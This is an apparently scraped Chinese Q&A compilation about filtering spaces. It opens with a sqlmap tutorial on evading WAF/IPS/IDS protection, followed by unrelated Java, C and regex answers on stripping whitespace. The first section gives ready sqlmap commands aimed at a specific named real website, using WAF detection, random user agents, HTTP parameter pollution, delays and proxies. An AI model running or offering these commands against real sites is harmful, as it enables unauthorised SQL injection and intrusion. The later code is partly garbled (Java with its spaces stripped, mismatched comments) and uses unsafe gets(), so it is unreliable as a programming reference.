『壹』 利用sqlmap注入时,发现站点对空格进行了过滤,可以使用什么脚本来绕过
0x00 前言
现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。因为现在WAF/IPS/IDS都把sqlmap 列入黑名单了,呵呵!但是本文基于sqlmap 进行绕过注入测试,介绍至今仍然实用有效的技巧,以下策略在特定的环境能够成功绕过,具体是否绕过,请仔细查看输出的信息。
0x01 确认WAF
首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#备选
0x02 使用参数进行绕过
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入
『贰』 java过滤string所有空格
JAVA中去掉抄空格
1. String.trim()
trim()是去掉首尾空格
2.str.replace(" ", ""); 去掉所有空格,包括首尾、中间
代码如下:
String str = " hell o ";
String str2 = str.replaceAll(" ", "");
System.out.println(str2);
3.或者replaceAll(" +",""); 去掉所有空格
4.str = .replaceAll("\\s*", "");
可以替换大部分空白字符, 不限于空格
\s 可以匹配空格、制表符、换页符等空白字符的其中任意一个
『叁』 post请求参数含有空格,如何在过滤器中去掉空格符
也不用使用这个类,你不是要获取没有空格的参数信息么
直接在servlet获取参数,然后把参数中的空格(replaceAll(" ",""))去掉不就行了么
『肆』 如何能过滤掉字符串里面的空格
#include <stdio.h>
#include <string.h>
#include <malloc.h>
void trimall(char* s)
{
int l=strlen(s);
char* tp=(char*)malloc(l+1);
char* ctp=tp;
char* cs=s;
while(*s)
{
if(*s!=' ')
{
*tp=*s;
tp++;
}
s++;
}
*tp='\0';
strcpy(cs,ctp);
free(ctp);
}
int main()
{
char str[100];
printf("输入一个字符串:");
gets(str);
trimall(str);
printf("清除空格后:\n%s\n",str);
return 0;
}
『伍』 超简单C语言,看一下错哪了 过滤掉多余的空格,只留下一个空格
if(!((zfc[i]=' ')&&(zfc[i+1]=' ')))你这句错了,逻辑判断,你写成赋语句了。数组使用时最好清零一次。
『陆』 急!!scanf怎样过滤空格和换行。。。
scanf()函数默认空格、制抄表符、换行符为袭数值、字符和字符串的分隔符,也就是说,是自动过滤的,比如
int val;
char ch,s[50];
scanf("%d%c%s");
可以输入5 A character
该读入语句可使val = 5,ch = 'A',s = "character"。
『柒』 java 中 jsp页面怎么过滤文本框中的 头尾空格 有几种方法!!!
可以用字符串方法,切割,将空格切割掉.
str.split(" ");
或者首位去空格
str.trim();
或者用替换
nstr.replaceAll(" ","" );
『捌』 c++过滤多余的空格
虽然啰嗦了点,但没有看出大问题来!把cout<<str;改成cout << str << endl;试试。
『玖』 正则表达式如何表示若干个空格我想用正则表达式过滤掉空字符串,用“”方法没用,求解。如果一段文本是
s*表示若干个空格(可以是0个)。
s+ 表示一个或多个空格
publicclassTest{
publicstaticvoidmain(String[]args){
Stringstr="";
//测试的字符串
Stringregex="\s+";
//表示一个或多个空格的正则表达式
str=str.trim();
//去掉字符串开头和结尾的空格
Stringstr1=str.replaceAll(regex,"");
//去掉所有的空格
Stringstr2=str.replaceAll(regex,"");
//把一个或多个空格替换成一个空格
System.out.println(str);
System.out.println(str1);
System.out.println(str2);
}
}
输出结果如下:
『拾』 正则表达式 过滤空格
查找:
+(?=[^>]*?<)
▲注意来+前有个空格源
替换为:(空)
如果所涉文本跨行,则可考虑用:
+(?=[^>]*?(<|$))
▲注意+前有个空格
也可考虑用以下办法:
查找:
(>[^<]*?) +
▲注意+前有个空格
替换为:
\1(或$1)
▲此法要反复执行,直至搜索不到。
可用编程实现,结束条件是“搜索不到”。
也可用编辑器的宏功能:
有宏功能的编辑器,都有“重复执行宏”功能;
先录制一次这个替换,然后指定次数,重复执行。
(EmEditor的“重复执行”可以设置“如果搜索失败则停止”,十分实用。)